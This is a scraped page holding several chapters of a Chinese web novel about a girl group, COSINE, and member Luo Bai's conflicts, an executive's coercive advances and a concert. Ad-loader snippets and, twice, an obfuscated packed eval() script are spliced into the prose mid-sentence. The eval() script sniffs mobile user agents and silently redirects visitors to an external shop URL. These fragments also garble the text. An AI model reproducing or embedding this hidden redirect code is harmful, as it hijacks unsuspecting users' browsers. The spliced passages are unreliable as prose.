洛白是当年综合排名第二的练习生,明明是C位出道的热门选手,却把参赛资格拱手让给了顾若敏。后来公司变动安排还是将她编进了COSINE组成五人团,这就直接引起了当初一批粉丝的抗议。 刚出道时这种操作做坏路人缘,公司又冷处理不肯捧,加上她还沉默寡言不会来事,直接导致后续没能发展起来。直到一年多以后,她在某次表演全开麦展现了一骑绝尘的实力,路人缘和人气才慢慢好起来。而按陈曦原本的判断,要是洛白上了那档节目,搞不好C位出道的就是她了。 不过这话她倒是不能当着金灵的面说,毕竟人家现在正是COSINE的C位呢。 “确实。”金灵似笑非笑地说。 “反正现在也逐渐发展起来了啦。”程佳念给她找补。 几人没闲聊几句,金灵的手机就震动了两声,她瞥了眼屏幕,唇角微扬,又收回目光看词。 陈曦哪里肯放过这个八卦的机会,促狭道:“该不会是你男朋友吧?听说是寻目的老板?” 金灵应了一声。 洛白倏然朝一边的程佳念望去。后者身形一僵,一时没有说话。 “所以,”程佳念面色骤然冷了下来,一字一顿,“你又谈恋爱了?和姚启?” 金灵没看她,刚做了美甲的手在屏幕上嗒嗒敲着回复:“对。” “多久了?” “半个月?记不太清。” 程立莉陡然起身,椅子被她带得栽倒在地,发出一声刺耳的巨响。 陈曦见形势不对连忙朝洛白看去,摊开手,做了个口型:“怎么回事?” 洛白摇了摇头,陈曦才觉自己多嘴,默默把椅子往洛白身后移了移。 “你谈恋爱,为什么最后才跟我说?” “你让我怎么和公司交代?你想过粉丝的感受么?你还是个偶像吗?” 金灵仰起头看她,扬着满不在乎的笑:“公司早知道了,我和姚启第一次吃饭还是他们开的口。而且我又没公开,碍着谁了?” 程立莉见她这副样子,更是气不打一处来,指着她说:“你喜欢他么?不就是抱树好乘凉,你这样和那些爱慕虚荣的女明星有什么区别?” 金灵款款起身,不慌不忙推开她的手:“队长,别站在制高点评价我。这有什么错么?他愿给,我愿拿。” 程佳念咬着牙,对视了一会儿,又冷下声音:“我看,你是因为许诺谈恋爱了,气不过才随便找人谈的吧。” 她的话算是戳中了金灵的痛点。 金灵一下子变了脸色,她拎起包撞开程佳念,头也不回地出了门。 陈曦小心翼翼地开口:“要不要去追一下……” - (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从练习室追出来的洛白跟着金灵的脚步快步踏入电梯里,见她满脸冷意地按下一层的电梯。 “金灵姐。你要去哪。” 金灵往墙上一靠,抱着手,没好气道:“不知道。” “已经十一点了。”洛白提醒她说,“今晚你不是说要回宿舍么?” “我反正是不会回去了,懒得看她。”金灵盯着电梯显示屏,等直达一楼,她夺门而出,一边还不忘回头跟洛白说话,“我跟谁谈恋爱,关她什么事?有什么好来指手画脚的?” 洛白没有和她一同出气:“不回去的话,你今晚睡哪?” 金灵的住处离公司很远,她今晚没开车助理还请假。这问题倒是把她问住了。 “找姚启,或者住酒店。” “要是被记者拍到了……” 金灵双眼一横,看向洛白:“你家不是离公司很近么?我去你那住。” 洛白从包里取出钥匙递给她,又把四吉从公司里叫下来送她。 金灵问:“你不和我一起回去?” “我一点半飞新源。” 金灵咋舌道:“红眼航班啊,行程这么紧?” 这几天洛白一直在新源和新陵之间往返,拍摄之余还要录歌、排练,确实有些吃力。 而且这还只是个开始,等新专辑的具体事宜定下来以后,她就要定时回公司练习歌曲、排练舞蹈,同时各大卫视的跨年晚会表演邀约也接踵而至。 不过洛白向来不是会吐苦水的人。 她只是抿起嘴角,淡笑了一下,没再多说。 目送金灵离开,洛白回了练习室。陈曦已经离开,剩程佳念一个人四仰八叉地倒在地板上。 她很是怅然:“洛洛,你知道吗,我最近总觉得,好像只有我一个人在乎这个组合。” 洛白双唇嗫动,不知道该说什么。 作为顶流男团SINE的师妹团,COSINE也很好地消化了出道时外界的期待与压力,Girlcrush的风格为她们吸引来了大票粉丝。 只不过这两年,COSINE队内的人气差距越来越大。因为影视的加持,门面金灵越来越红,早已跻身影视圈,成了当红的小花。洛白也因为唱功与日渐出挑的美貌逐渐受到瞩目,人气一路上涨。但顾若敏和林晓却掉入了下位圈。 一个组合里,人气的差距过大,待遇的差别过于明显,就会导致团心涣散。 洛白静静地看着面露疲色闭上双眼的程佳念,轻声说:“佳念姐,辛苦你了。” “你看那个金灵,就那么任性。明明以前对舞台也很有执念很认真的,现在越来越任性,心情好了就表现,心情不好就划水。”没听见洛白反驳自己,程佳念不由越说越忍不住了,恨恨地说着气话,“哎,我们就是那种各怀鬼胎,偏偏还要在镜头里艹团魂人设的虚假偶像。” “……佳念姐,早点休息吧。睡一觉会好一些。” 洛白心有恻隐,可她不太会安慰人。 程佳念听她这话只觉得扫兴,扯了下嘴角,闷闷地说:“我没事,你去赶飞机吧。” 15. 见面 金灵慢悠悠地走到洛白的家门前,掏出钥匙插进锁孔里。 还没来得及转动钥匙,里面的人就冲了过来,火急火燎地打开了门。 金灵亲眼看着姜誉飞眼里的光在看到她的那一瞬间硬生生暗了下去。 “靠,怎么是你?” “你怎么在这?” 二人异口同声道。 “你这什么表情啊?”金灵上下打量这个男大学生。 “当然是不爽啊。”姜誉飞松了门把,没什么好气,“你来干嘛。” “你姐让我在这住一晚。” 姜誉飞没兴趣追问她的事,边朝着屋里走,边说:“那她人呢?” “去剧组了。”金灵走进客厅,差点被他丢地上的书包绊了一跤,“她说你今天不在家啊。” “这周末我放假。”姜誉飞在沙发上噌得坐下来,拿起桌上的手机,大概是和对面的人说话,“刚才卡了。” “卡你妈,姜誉飞,我听见女人声音了。” 金灵:“……” “是你姐不,蒋语说你姐贼好看。”是另一个男生的声音,洋溢着毫不掩饰的兴奋,“哎,姜誉飞姐姐,我叫应景,快耳熟我。” 金灵抢在姜誉飞开口否认之前,饱满地应了一声:“哎。” 姜誉飞立马黑下脸来,剜了她一眼:“她不是。” “不是你姐?!”对面那两人更激动了,“你周末回去会女人?!” “姜誉飞你有出息啊,我下次去扫黄是不是能扫到你了?” “艹张合气,”姜誉飞莽起来跟人家骂骂咧咧,“你打不打,不打滚。” “咱们滚吧,应景,给这儿子和那个姐姐留点空间。” 那两人溜得快,瞬间下线,姜誉飞望着突然结束的游戏界面,满口生草。 他这时才转过去看在一旁看笑话的金灵:“你是哪来的扫把星?” 金灵拽起一边的抱枕砸他:“你才是扫把星。” 姜誉飞一偏头拽住抱枕,门铃就闹腾地响了起来。 “这个点,会是谁啊。”金灵突然心虚。 要是被拍到了—— #TOP女团门面深夜私会男大学生#这个新闻也太刺激了吧。 “外卖啊。”乘着金灵发呆的空隙,姜誉飞已经把一袋啤酒两盒炸鸡放桌上了。 易拉罐打开时冒出了“呲”的一声,冰镇过的啤酒外还冒着水汽。纸盒里是满满当当的炸鸡腿,金灿灿的面皮外裹着白芝麻和蜜汁酱,一阵一阵的香气腾升起来。还有那盒薯条,炸的真是刚刚好,看起来松脆可口。 姜誉飞:“吃不?” 金灵睨了他一眼:“两千大卡的糖油混合物,谁会吃。” “爱吃不吃。” 姜誉飞就这样在她面前开始毫不留情地大快朵颐,一口咬在鸡腿上,“咔嚓”一声,是来自脆香鸡腿的召唤。 金灵眼巴巴地看着他。 “你这样看我,谁还吃得下?”姜誉飞瘆得慌,和洛白待久了他不自觉就喜欢劝人吃东西,“吃啊。你都瘦成这种鬼样了。” 哦?瘦成这种鬼样? 金灵捋了捋自己的波浪卷,看来最近她的身材管理很到位。 “不以为耻反以为荣。”姜誉飞看她有点美滋滋的表情翻了个白眼。 “那就赏你点脸,陪你吃两口好了。”金灵轻哼了一声,优雅地在他旁边坐下来,伸出一只手,“手套。” 姜誉飞不搭理她:“犯公主病啊?” 金灵:“你知不知道有多少男人豪掷千金就为了跟我吃一顿饭?” 姜誉飞自顾自啃鸡腿:“把你当乐子了你还美呢。” 金灵:“……” 金灵倾身夺走姜誉飞手里的炸鸡,砰得丢进了垃圾桶里。 “靠,你发什么癫。”姜誉飞又拿起一块咬了一大口,“还好我买得多。” 金灵不满意姜誉飞这种不把自己放在眼里的姿态,又伸手去抢他的食物。这回姜誉飞有了防备,手一抬绕过她:“大姐,你想吃你自己拿啊,干嘛非跟我抢?我咬过的更香啊?” “大、大姐,你——”金灵嘴角抽动,只觉满肚子都是气,“你姐都得好好管我叫一声姐。” 姜誉飞:“关我屁事。” 金灵:“……” - “呃,大家好,我是洛白。经纪人让我拍一下VLOG,展示一下今天的生活。” “现在是早上六点四十,凌晨从新陵回来,现在刚到剧组。” “外面天还有点暗呢。” 洛白看着相机里的自己,仪容仪表还算得体,拂了下头发,无话可说了。 在录VLOG之前,她把程佳念、陈曦她们的视频都看了几条,甚至把简言之的也看了,但现在让自己对着镜头碎碎念,还是说不出什么话来。 只能拜托后期把无聊的段落剪掉了。 说不定最后只能剩下三四分钟的素材。 “呃,现在准备开始做妆造。” 洛白把相机架在一边,报备完行程,便安静地让造型师工作。 不过多时,造型室的门被轻巧推开,她的余光瞥见一个身着立领夹克的颀长身影迈步进来。 “早上好啊。” 乔时青在离她一米左右的椅子上坐下来。 “早上好。”洛白说着,下意识看了眼一边的相机。 乔时青捕捉住她那一秒的眸动,顺着她的视线看见了那一小台架在洛白跟前的相机,是录不到他的角度。 “直播?”乔时青长腿往地上一抵,反作用力之下滑轮椅带着他往后一滑。 洛白摇头:“是Vlog。” 他点头,脚跟又一抵,稍微用了点力道,滑轮椅就被拉回了原位:“我可以出镜吗?” 洛白睫毛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 轻颤:“当然。” 乔时青见洛白有些许堂皇,心下好笑:“你前两天都去哪了?” “我,”洛白又看了眼相机,自拍模式下相机小屏里印着自己有些无辜而紧张的表情,“我有别的行程。” “哦?你该不会轧戏吧。”乔时青有心捉弄她,故作夸张地拖着语调。 “哪有。”洛白嗔了他一眼,“我是去和简言之录歌还有和金灵姐她们排练。” 乔时青说:“原来是去给简言之录歌了。” 洛白说:“还有和金灵姐她们排练。” 乔时青了然般点了下头,向后一靠倚着椅背,没有再继续追问,而是说:“我们下一场戏演的什么,你看过了吗?” “恩。” 江雨不听劝阻去找解开齐冰手铐的钥匙,没想到齐冰却毫不领情。江雨因此和他大吵一架,但也正是因为这场争执,江雨了解到了齐冰的过去,也从他口中获悉了回到现实的方法。 可以说下一场戏是全片情绪的爆发点。 “我会NG一百次。”乔时青说。 洛白失笑:“什么话。” 乔时青的椅子一转,他背过了身去:“这种戏我不太擅长。一会儿我会让你烦死的。” 洛白的目光落在化妆台前的剧本上,那一页上写着乔时青和她的名字:“我不会烦的。” 过了一会儿她又说:“我觉得你会演好的。像以前拍的那些戏一样。” 乔时青不自觉地笑起来,双眼瞥向一边的人:“是吗。你看过我的戏?” 乔时青凭一部《玫瑰乱》横空出世,名声大噪。 当年《玫瑰乱》火遍全亚不说,甚至在北美也狂揽千万美金的票房。干脆利落的打戏、多个名场面的特写镜头以及少年气爆棚的恣肆张扬让饰演新人刑警的乔时青成了那一年闪耀内娱的天之骄子。他和同期出道的肖漾被当时的媒体并称作“大陆双子星”。 后来乔时青接拍的两部《幻听》《墨云阵》都相继大爆,叫好又叫座,尤其是《墨云阵》,神秘又逍遥的机关师一角让他斩获了不少奖项。 那时洛白还在读高中,几乎所有人都在讨论他,这样轰动狂热的氛围之下,洛白怎么可能没看过他的电影。 特别是《玫瑰乱》,光是简言之就拽她去电影院看了两次,后来和姜誉飞又去看了一次,再加上班级组织看电影,又看了一次…… 当然最后一次,由于班上的女生们时不时要兴奋热烈地呐喊,没怎么听清声音就是了。 洛白几乎是叹着气地说:“看过。” “你是故意去看的?” “恩?” “你有没有记忆比较深刻的镜头之类的?可以详细说说吗。要是能谈谈当时的感受就更好了。” “……你是在采访我吗?” 乔时青这才收敛,咳了一声:“能把那边的剧本递给我么,我再看看。” 16. 追求 “卡。” 又一次叫停,导演抓了一下脑袋:“这个,时青,你的状态似乎不太对,要不然我们休息半个小时再拍?” “我就说吧。”乔时青小声对洛白道。 洛白见他脸上有少见的丧气:“你还有九十六次。” 乔时青笑了一下,目光停留在她的身上没有移开。 洛白:“我……妆花了?” 乔时青摇头,向后一退坐下来,双手撑在身侧仰着脑袋看她:“洛白,你教我,该怎么演。” “我怎么能教你?” “你当然能。你可是陵电的校花,科班出身的优等生。” 洛白脸上发烫:“我不是校花,更不是优等生。” 乔时青从上衣口袋掏出手机,拇指在屏幕上飞快点着,不一会儿他就堂而皇之地举着手机念起来:“众所周知,新陵电影学院是很多新生代演员的母校,大家最关心的就是每年的校花之争了。今天小编就为大家介绍一下蝉联三年的最美校花洛白……” “你、你快别念了!” 洛白大为羞赧,再顾不上别的就去夺乔时青的手机。后者动作敏捷,把手机甩到另一只手上,笑意难掩,继续道:“洛白,两年前以专业第一的成绩入读新陵电影学院表演系。入学之初,她的照片被同学传到学校论坛里,引起极大热议,拿下了那一年的‘陵电校花’头衔……” “乔时青!” 一直清冷克制的小白花忽然这么生气勃勃,乔时青大觉新奇,但还是举起双手作投降状:“好好好,我不念了。” 洛白拿他没办法,干脆撇过脸去不看他。 “放心,没人听到。”乔时青说。 洛白下意识地就环视了周围一圈,工作人员们都在一边各做各的事,导演和场务在交待什么,除了站在不远处以同样的表情瞪大双眼的四吉和叶减。 那二人一接触到她的目光,不约而同地猛然背过身去。 叶减中气十足地洪亮放声道:“四吉啊,你看这个地板似乎不怎么干净啊!” “啊,是啊,我们赶紧擦擦吧。”四吉说着就蹲下身来用力擦起地板。 洛白:“……” - “最近的乔哥好像很平易近人的样子。”四吉把地板擦得锃光瓦亮。 叶减自诩高贵知情人,闻言就说:“这可不是平易近人。这是双标狂人。” “你的意思,是他只对女明星好脾气?”四吉站起来,嚯了一声,“没想到乔老师是个好色——” “啊呸!少来造谣我们乔哥。”叶减眼珠一转,撞了下四吉的肩,“哎,洛洛最近都什么行程?” “等下,秦湘姐打来了。”四吉接起电话,就听对面问洛白的事,“秦湘姐,啊,对,在片场,洛洛现在还在拍戏呢。哎,好,拍完这场我就让她给你回,好的,好的好的好的,哎,哎。” 秦湘一大早就给洛白发过消息,哪知她就跟没看见似的,一句话也不回。 直到四吉把手机塞到了洛白的手里,她才终于勉为其难似的应了一句。 “洛洛,我好几天前就和你说了,你总不会忘了这事吧。” 洛白径直离开镜头范围:“我没答应。” “不就是一顿饭的事嘛,我都替你应下了。朝夏娱乐的大公子哎,我们不得给个面子吗。这几天人家夏总又是给你送礼物又是给你发消息,你总不能还像个冰块一样吧。” “我和他说过了,我没有空。” “今晚不就有空吗?吃顿饭而已。”秦湘好言好语地劝她,“你就当他是粉丝,像平时签售会对粉丝那样对他就好啦,把这件事当工作嘛。” 洛白的目光落在地上,光洁的瓷砖映出自己的身影:“我不想应酬。” “这明显是有利无害的事啊,多一个朋友多一条路嘛。而且业内在传了,朝夏在筹备一个大项目。金灵都已经拿到一番大女主的资源了,公司给你接的下一部戏,好像还是个女二。”没听见电话那头洛白的声音,秦湘又继续说,“女主是谁你知道吗,林芸晴啊!《封玄境》的女二,又压你一头了。知道你想安心拍戏唱歌,但人情这方面,你也不能懈怠啊。不然什么时候才能红呢?” “我没想红。” “哎哟,你看你这话说的。就算你不想红,难道你也不考虑你的团队?不考虑我的煞费苦心?宋宜宁可不像你这么难说话。好啦,你别想这么多,下午我让四吉送你过去啊。” 挂完电话,洛白突然恍惚了几秒。 脑子里叮咛一声响。 她又回过神来。 算了。 不愿意还是要做的事,又不止这一件。 大概是她小题大作了。 等下了戏,她一坐进车里,四吉便递给她一个精致的小盒子。 里面是一条钻石手链,在灯光下闪烁着熠熠光芒。 “洛洛,这是秦湘姐让我给你带来的。说是夏总送的,让你记得戴上。” 洛白看了一眼,淡淡地说了句:“不好看。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 四吉说:“这还不好看啊,要六位数呢。” - 为了把这位女星约出来,夏轩包下了一整间餐厅不说,还费了不少周折。 “今天你能来陪我吃饭。我很高兴。” 洛白不看他,把装着手链的盒子摆在桌上,朝他那边推去:“夏总,礼物太贵重,我受不起。” 夏轩微一挑眉,笑意发深:“洛小姐比我想象的要高冷。” 洛白不说话。 夏轩倾身向前,仍是直勾勾地看着她:“其实你不用有压力,我又不会吃了你,我只是喜欢你而已。”他不动声色地靠近她,指节分明的手悄然覆在了她放在桌上的手上。洛白当即便像是触电般抽回了手。 夏轩也不生气,只是笑笑说:“好吧,看来你不喜欢那么快。” 洛白不自觉地用右手握住自己左手的手腕,沉默地看着桌上的摆饰。 所幸服务生上菜的动作打破了僵掉的气氛。 然而直到洛白抬起头,才发现这个僵硬又尴尬的氛围只是她的自以为——夏轩仍在端详她,视线在她的每一寸肌肤上游走。 洛白垂眸,拿起刀叉尽力把注意力灌注在面前渗血的牛排上。 夏轩给远处的侍应生示意了一个眼神。 后者即刻传上来了又一个精致的盒子。 夏轩缓缓将它打开,是一条铺镶珍珠母贝和钻石的玫瑰金项链。 “你不必送了。”洛白说。 “你和你的朋友,或者说许多女星,”夏轩往后一仰靠在座椅上,“看来都很喜欢欲擒故纵。” 餐厅里的冷气和生冷的食物搅得她的胃开始隐隐作痛。 洛白皱了皱眉:“你误会了。我没有这种意思。” 夏轩笑了一声,从一旁取出一份资料放在桌上:“不如你看看这个?” 是朝夏下一个重点项目的合同。 洛白莫名想起了金灵。 是不是那个叫姚启的,也是这样? 夏轩见她一直盯着资料,勾起了嘴角:“代言、S+项目,我都可以为你准备。我就是不忍心看你费力气地去试镜去谈合同。说实话,我对你是一见钟情,希望你能给我一个机会,也给你自己一个机会。” “夏总。谢谢你的好意。但我不需要。”洛白站起来,“如果没什么事的话,我先回去了。” 夏轩有些挂不住脸,顿了下说:“洛白,我要是不高兴的话,你在娱乐圈的路会很不好走的。” “随便你吧。” 17. 谈到洛白 “怎么样?你跟他聊了什么?” 一回到酒店房间,秦湘便迫不及待地迎上来。 洛白有气无力地弯身翻行李,面色泛白,轻声说:“秦湘姐,我的药之前不是放在这里吗?” 秦湘一愣,跟着翻了翻才说:“啊,带过来的已经吃完了,我现在让司机去买,你先休息下。” “好。” “好。” 四吉挂了电话,就乘电梯往楼下赶。 一到一楼大厅,没走两步就撞了人,他趔趄了两步,看清来人连忙说:“啊,对不起,乔哥,撞到你了。” 乔时青说:“这么急做什么?” “洛洛胃病犯了,秦湘姐让我出去买药。” 乔时青皱了下眉:“我房间里有,你去拿吧。” “啊?但是那个药可能……” “就是她平时吃的那种,房卡在这,去吧。” 四吉愣了愣,连声应了他。 等四吉急匆匆地走了,乔时青双手插进上衣口袋,抬眼看了看酒店的显示时间——八点零三。 等了五分钟,他快步走进电梯,按下“20”的键。 出了电梯,他静静地靠在墙上等着。 四吉又是急忙跑出来,一见他就刹住了脚,说:“哎乔哥!我正要下去找你呢,你怎么上来了。” 乔时青的下巴朝着四吉手里的卡抬了抬:“拿卡啊。” “哦哦对,我也是要给你送卡去的。” 乔时青接过他递来的卡:“好点了吗?” “啊?哦,你说洛洛啊。吃过药好些了。”四吉挠了挠脑袋,“乔哥,你也有病吗?” “你礼貌吗?” “我是说胃病……” 乔时青不置可否,按下电梯键:“我先走了,有事可以随时叫我。” - 许诺到达新源金茂大厦那家名为“嘉吉”的日料店时,料理台前的师傅正用白葡萄酒煎雪花和牛,荤香诱人的气味让他食欲大开。 “今晚是新源地头蛇请客吧。”他在简言之身侧坐下来,笑容满面地把酒杯推到乔时青面前。 乔时青睨他一眼,懒得与他分辩,抬手给他倒了杯清酒。 三人有一搭没一搭地聊了一会儿,许诺就催着简言之关相机:“你素材也录够了吧?” 简言之心说也是,利落关了相机,斜眼瞧他:“有什么不能在镜头前说的?你的地下恋情啊?” 谁知许诺闷了一杯酒:“啧。确实。我直觉我的恋情岌岌可危了。” 闻言,乔时青面露讶然:“你恋爱了?” 直到这时他才知道,许诺前不久和一个叫邱妍儿的女星因戏生情。 “不过现在妍儿正和我闹着。”许诺说。 简言之不怀好意地笑道:“因为金灵吧?看来你个渣男没平衡好前女友和现女友啊。手上牵着邱妍儿,心里想着金灵儿呢?” “天地良心,我真没想她啊!我就奇怪了,都分手这么久了,就不能各奔前程互相祝福么?看看我是怎么做的?一知道她和那个姚总恋爱的事,恨不得直接当他俩的CP粉头,祝他们百年好合!” “实在不行,我帮你和邱妍儿说说吧。”简言之说,“让她趁早对你死心,长痛不如短痛。你就乖乖回到金灵的怀抱。” 许诺额间青筋一跳:“好啊,看来是时候给你和小洛白买个热搜了。词条叫什么,哦,‘简白恋情曝光’怎么样,一定能为你的专辑助力的。” 有人比简言之更快发作了,乔时青说:“我不许。” 许诺挑眉,做了个扶眼镜的动作:“果然,我早就看出了,你觊觎我们简言之好多年了吧。” 乔时青:“……” “那么问题就来了——简言之,我的好弟弟,洛白和乔时青,你选谁?” 简言之忍无可忍一张脸凑到许诺跟前,和他极限对视:“首先,老子是直男,其次,我不喜欢洛白!” “无论哪句话都透露着心虚呢。” “你——乔哥,你不能治治他么?” 被点到名的乔时青摆出助纣为虐的姿态,目光微灼盯着简言之:“说说你为什么不喜欢洛白。” “不是吧,怎么连你也开始八卦了。可我真不喜欢她。说几遍也是不喜欢啊。” “为什么?”乔时青又问。 “因为……”简言之想了一下,“我喜欢表里如一的人。” 许诺纳闷:“洛白表里不一吗?” “是啊。你看她在笑,但她心里却没有起伏。”简言之的口才不足以让他表达出内心的想法。 别人见洛白寡言少语,撩拨未果,只能悻然离去,当她是空有一副优雅皮囊,实则沉闷无趣。 她的性子全数被自己克制掉了。 若不是简言之和她相识多年,又怎么能摸清她的怪脾气。只是即便他摸清了,她的性情太过别扭拧巴,不像他自己这样坦率清楚。 洛白像一朵开在诡谲迷宫里的白玫瑰。太多人趋之若鹜,却连一条像样的路也找不到。就算是他来走这趟迷宫,他也没有把握能抵达中心。 简言之说:“其实洛白现在已经温和很多了。以前她更冷漠,总是一副拒人于千里之外的样子。” 乔时青说:“与其说是冷漠,不如说是不知道如何以一种舒服的姿态去和世界相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954825|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 许诺笑了:“哟。看起来你还挺懂。” “你们有没有见过她格外……”乔时青攥着酒盅的手随着他的回忆无意识收紧,“情绪高涨的时候?” “情绪高涨?你说洛白?”简言之说,“还情绪高涨,我怀疑她生下来都不带哭一声的。” 乔时青试图用更恰如其分的描述来形容他记忆里的人:“思维很跳跃,有点语无伦次,充满想象力,有很多想法,眼睛都泛着光。” “那不是洛白。”许诺给他倒满,“那是简言之。” “靠,哈哈哈哈哈哈哈哈哈。”简言之大笑,“乔哥,你到底在说什么啊?还有,你到底怎么认识洛白的?” “寻目周年庆,她来和我打招呼,请我去喝酒。” “那你肯定记错人了。”简言之又是摇头又是摇手指,“洛白从来不会主动和人打招呼,更不会请人喝酒。” 许诺也笑:“是啊。怎么说我们也和小洛白认识好多年了。她不是这种类型。” 他们完全不相信。 但乔时青从来不会自我怀疑。 时隔许久,他依然无比清楚地记得那些瞬间。 她说,这个宴会好无聊,我们离开这里去玩吧? 她不由分说地拽住他的手腕,冰凉细腻的指腹紧紧贴着他的腕心。 空无一人的街巷,她坐在路边撬开一瓶白兰地。 “哪里来的?”他问。 她笑起来眼里汪着水:“刚才,从酒柜上偷来的。” 他失笑:“你是不是已经醉了?” “当然没有,我的酒量比你好多了。”她抬手就喝,红棕色的液体流过她纤细的脖颈,浸染了她素白的纱裙。 他制止她。她就要他喝。 浓烈的果木香气就那样在两人之间泛滥开来。 但到了第二天。她就消失了。 她也没有留下任何联系方式。 不过还好,她留下的一大堆账单可以佐证前夜的真实。 直到其他场合重遇,她就像他们说的,清冷、寡言、内敛。 她不看他,她也拒不承认他。 他问她。她说她不记得。 乔时青瞥了他俩一眼:“和你们多说无益。” 两人对视一眼,又笑。 许诺说:“对了,过两天我们公司开演唱会,你要不要来看看?” “为了排节目,我都好几天没睡好了。”简言之打了个哈欠,“我一会儿得早点回去睡觉,不然到时候状态不行。” 乔时青还没有完全回过神。 他也没想到,他记忆中的洛白这么快便会再度出现。 18. ID演唱会 ID演唱会当日。 新源奥体中心。 场馆外人头攒动,各种应援应接不暇,大家都在争相和偶像的人形立牌合照。 拍VLOG的博主举着相机:“嗨,宝宝们,我现在到场馆外啦,一会儿就要进去了,好激动呀。” “姐妹,可以和我们一起合拍吗?”拼周边照的粉丝聚在一块。 还有不少人掏出一些照片:“姐妹,能不能和你换我担的小卡呀?” 乔时青默默按了按口罩上沿,快步走入检票通道。 检票口的工作人员笑眯眯地递给他一个应援棒:“玩得开心哦。” 他的票在内场,找到座位坐下时,大批观众已经陆续进场。 大屏幕上在轮番播放ID公司各个组合的主打MV。 “乔二?” 熟悉的聒噪声。 乔时青抬眼:“怎么又是你。” 夏轩双手插袋,弯下腰看他:“果然是你啊。” 站在他身旁的姚启有些稀奇:“你什么时候对这种活动感兴趣了?” “一直感兴趣,但现在——”乔时青扫了他俩一眼,“很扫兴。” 夏轩对他这种瞧不起人的态度最是深恶痛绝,当即冷哼一声:“我看到你才扫兴吧!像我这种专程被请来看演唱会的贵宾,想到要和你这种不速之客坐在一个区我都恶心。” “那你去看台坐不就好了。” “……” 姚启拍拍怒色难掩的夏轩:“算了,别跟他吵了,我们走吧。” “哼。也是。”夏轩用力顺了下自己的外套,找回风度,“我还得准备好心情一会儿好和洛白约会呢。” “站住。” 两人刚迈开腿,听到这命令式的口吻不约而同地冻住了。 夏轩没好气道:“干嘛?” “你说你一会儿和谁约会?”乔时青问。 夏轩一听便张扬地笑出声:“和洛白约会啊。” 乔时青上下打量他:“就你?” “他还不信了。”夏轩解锁手机,欻欻打开洛白的微博点进主页放大照片,把屏幕举到乔时青面前,另一手指着照片中的项链,“看到没?戴了我送的项链,还专门发了条动态,这个就叫暗示。懂不懂?” 乔时青抽回眼:“原来是自作多情。” “你——” “行了夏轩,马上就开场了。人越来越多,你不想上新闻吧?”姚启一手扯住欲要上前试比高的夏轩,后者满脸不爽还是跟着姚启回了自己的座位。 乔时青兀自点进洛白的微博。 [超级期待今晚与你们见面哦~!] #ID新源演唱会 (配图)(配图)(配图)] 点开配图,放大。 光洁的脖颈上是一条铺镶珍珠母贝和钻石的玫瑰金项链。 与洛白平时的私服风格极其不搭。但和今天的演出服还蛮搭配的。 他想起夏轩刚才说的话。 她为什么会戴他送的项链……? 他凝神看着她的帖子。 配文内容也不像她平时的风格。 “超级”这种夸张用语,还有波浪线加叹号的格式,都和之前几条微博的风格不太相同。 噔噔——! 两声鼓点落下,全场灯光熄灭又骤然大亮,射线式的紫色闪光灯照耀全场。 乔时青收起手机,把注意力放到舞台上。 开场是ID的一个女团,大屏幕上写着“FOCUS”的字样。 “啊啊啊啊啊啊啊啊!” 突破天际的尖叫声几乎穿透他的耳膜。 乔时青没有听过她们的歌,自然也就无动于衷。 几个人都是衬衫加百褶裙,笑颜如花,总体而言是青春洋溢的舞台。 连跳三首歌,少女们才歇下来打招呼:“大家好~我们F.O.C.U.S——FOCUS!” “FOCUS!!!” “好漂亮!像洋娃娃一样!” “老婆!!!!!” 周围的粉丝在不断呐喊,乔时青的冷静几乎有些格格不入。 又熬了三四首歌。 伴随着改编过的明快前奏,COSINE在潮水般的尖叫中踏入众人视线。 一道极为抓耳的歌声从音响传出来。 “不要问/不要想/justyouandme 我们时间短暂/这只是个开端” COSINE大部分歌曲都是由洛白来导入的。她的音色通透温润,既像白玉又像红酒,一开口便极为抓耳。 “啊啊啊啊啊啊——!” “短暂!” “开端!” 满场馆的荧光灯像跃动的海洋球。 连着三首歌,每一首歌的每一句词,乔时青周身的几乎所有人都在跟唱或者尖叫,而表演的间隙她们还能喋喋不休地讨论。他简直惊讶于这些粉丝的超绝肺活量。 三首歌结束, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968359|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照例是talk环节。 “大家好,我们是COSINE。” 首先是队长程佳念发言:“一年一度又在ID演唱会上表演,真的每年都非常喜欢这个舞台,感谢大家。我们会用更好的舞台来回馈大家的。” “程佳念——!!啊啊啊啊啊——!” “天啊金灵真的太美了” “顾若敏!顾若敏!” “wok,你看你前面戴口罩那个男的,感觉好帅啊。一会儿去要个微信怎么样?” 林晓接过话筒,笑着说:“hello,大家晚上好。我是晓晓。天气冷了记得多穿一点哦。” “晓晓啊啊啊啊!” “天,金灵真的美死我了!” “你拍了吗你拍了吗?” “今天肯定有无数的神图——” 不多时大屏一闪,特写照到了洛白的脸上。 